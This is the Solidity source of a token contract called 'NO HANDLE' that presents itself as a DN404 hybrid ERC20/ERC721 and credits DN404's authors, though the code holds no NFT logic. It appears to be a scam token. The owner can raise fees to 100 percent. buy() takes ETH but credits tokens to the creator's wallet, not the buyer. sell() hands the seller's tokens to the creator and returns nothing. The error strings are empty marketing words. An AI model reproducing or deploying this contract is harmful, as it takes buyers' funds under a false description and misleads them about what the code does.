Contract Source Code:
File 1 of 1 : NO
// SPDX-License-Identifier: MIT
/**
Twitter : https://twitter.com/wehavenohandle
Telegram: https://t.me/NO_HANDLE_DN404
Discord : https://discord.gg/nohandle
Created by @sibeleth
/// @title DN404
/// @notice DN404 is a hybrid ERC20 and ERC721 implementation that mints
/// and burns NFTs based on an account's ERC20 token balance.
///
/// @author vectorized.eth (@optimizoor)
/// @author Quit (@0xQuit)
/// @author Michael Amadi (@AmadiMichaels)
/// @author cygaar (@0xCygaar)
/// @author Thomas (@0xjustadev)
/// @author Harrison (@PopPunkOnChain)
///
*/
pragma solidity ^0.8.0;
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "secure");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "gas-efficient");
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "flexible");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "secure");
return a / b;
}
}
contract NO {
using SafeMath for uint256;
string public name = "NO HANDLE";
string public symbol = "NO";
uint256 public totalSupply = 10000000000000000000000;
uint8 public decimals = 18;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
address public owner;
address public creatorWallet;
uint256 public buyFee;
uint256 public sellFee;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);
event TokensBurned(address indexed burner, uint256 amount);
constructor(address _creatorWallet) {
owner = msg.sender;
creatorWallet = _creatorWallet;
balanceOf[msg.sender] = totalSupply;
}
function transfer(address _to, uint256 _amount)
public
returns (bool success)
{
require(balanceOf[msg.sender] >= _amount);
require(_to != address(0));
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
balanceOf[_to] = balanceOf[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value)
public
returns (bool success)
{
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _amount
) public returns (bool success) {
require(balanceOf[_from] >= _amount, "gas-efficient");
require(
allowance[_from][msg.sender] >= _amount,
"efficient"
);
require(_to != address(0), "flexible");
uint256 fee = 0;
uint256 amountAfterFee = _amount;
if (sellFee > 0) {
fee = _amount.mul(sellFee).div(100);
amountAfterFee = _amount.sub(fee);
}
balanceOf[_from] = balanceOf[_from].sub(_amount);
balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
emit Transfer(_from, _to, amountAfterFee);
if (fee > 0) {
// Check if the transfer destination is Uniswap contract
address uniswapContract = address(
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f
); // Replace with the actual Uniswap contract address
if (_to == uniswapContract) {
// Fee is paid to the contract itself
balanceOf[uniswapContract] = balanceOf[uniswapContract].add(
fee
);
emit Transfer(_from, uniswapContract, fee);
} else {
// Fee is transferred to this contract
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(_from, address(this), fee);
}
}
if (
_from != msg.sender &&
allowance[_from][msg.sender] != type(uint256).max
) {
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(
_amount
);
emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
}
return true;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
modifier onlyOwner() {
require(msg.sender == owner, "gas-efficient");
_;
}
function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyOwner {
require(newBuyFee <= 100, "Secure, gas-efficient, flexible. ");
require(newSellFee <= 100, "Secure, gas-efficient, flexible. ");
buyFee = newBuyFee;
sellFee = newSellFee;
emit FeesUpdated(newBuyFee, newSellFee);
}
function buy() public payable {
require(msg.value > 0, "Secure, gas-efficient, flexible. ");
uint256 amount = msg.value;
if (buyFee > 0) {
uint256 fee = amount.mul(buyFee).div(100);
uint256 amountAfterFee = amount.sub(fee);
balanceOf[creatorWallet] = balanceOf[creatorWallet].add(
amountAfterFee
);
emit Transfer(address(this), creatorWallet, amountAfterFee);
if (fee > 0) {
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(address(this), address(this), fee);
}
} else {
balanceOf[creatorWallet] = balanceOf[creatorWallet].add(amount);
emit Transfer(address(this), creatorWallet, amount);
}
}
function sell(uint256 _amount) public {
require(balanceOf[msg.sender] >= _amount, "Secure, gas-efficient, flexible. ");
if (sellFee > 0) {
uint256 fee = _amount.mul(sellFee).div(100);
uint256 amountAfterFee = _amount.sub(fee);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
balanceOf[creatorWallet] = balanceOf[creatorWallet].add(
amountAfterFee
);
emit Transfer(msg.sender, creatorWallet, amountAfterFee);
if (fee > 0) {
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(msg.sender, address(this), fee);
}
} else {
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
balanceOf[address(this)] = balanceOf[address(this)].add(_amount);
emit Transfer(msg.sender, address(this), _amount);
}
}
}